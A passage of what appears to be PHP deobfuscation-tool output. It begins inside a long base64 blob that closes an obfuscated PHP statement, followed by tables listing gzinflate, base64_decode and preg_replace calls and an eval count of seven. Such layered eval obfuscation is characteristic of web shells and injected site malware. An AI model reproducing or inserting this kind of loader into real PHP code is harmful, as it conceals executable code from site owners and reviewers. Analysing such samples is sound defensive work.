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'\x29\x29\x29\x3B","");
?>
Function Calls
gzinflate | 4 |
daypcq14171 | 1 |
preg_replace | 3 |
base64_decode | 4 |
Stats
MD5 | 586e3df8048ddfb1f29987942cc86435 |
Eval Count | 7 |
Decode Time | 140 ms |